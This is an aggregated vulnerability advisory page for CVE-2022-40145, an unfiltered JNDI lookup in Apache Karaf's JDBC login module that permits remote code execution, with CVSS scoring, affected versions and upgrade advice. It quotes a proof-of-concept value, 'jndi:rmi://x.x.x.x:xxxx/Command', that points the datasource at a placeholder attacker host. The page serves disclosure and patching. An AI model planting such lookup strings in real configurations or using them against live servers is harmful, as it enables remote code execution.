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Certain versions of Karaf from Apache contain the following
vulnerability:

This vulnerable is about a potential code injection when an attacker
has control of the target LDAP server using in the JDBC JNDI URL.
The function

jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering. An user can modify
`options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to
`options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in
JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack
when a configuration uses a JNDI LDAP data source URI when an attacker has control of the
target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We
encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

CVSS3 Score: 9.8 - CRITICAL

Attack
Vector 
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NETWORK LOW NONE NONE

Scope Confidentiality
Impact

Integrity
Impact

Availability
Impact

UNCHANGED HIGH HIGH HIGH

CVE References

CVE-2022-40145 has been assigned by  security@apache.org to track the vulnerability - currently rated as CRITICAL  severity.

Affected Vendor/Software:  Apache Software Foundation - Apache Karaf version = 4.4.0

Affected Vendor/Software:  Apache Software Foundation - Apache Karaf version = 0
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Description Tags Link

karaf.apache.org

text/plain

 MISC karaf.apache.org/security/cve-2022-40145.txt

By selecting these links, you may be leaving CVEreport webspace. We have provided these links to other websites because they may have information that
would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other websites that
are more appropriate for your purpose. CVEreport does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further,
CVEreport does not endorse any commercial products that may be mentioned on these sites. Please address comments about any linked pages to
comment@cve.report.

There are currently no QIDs associated with this CVE

Known Affected Configurations (CPE V2.3)

Type Vendor Product Version Update Edition Language

Application Apache Karaf All All All All

No vendor comments have been submitted for this CVE
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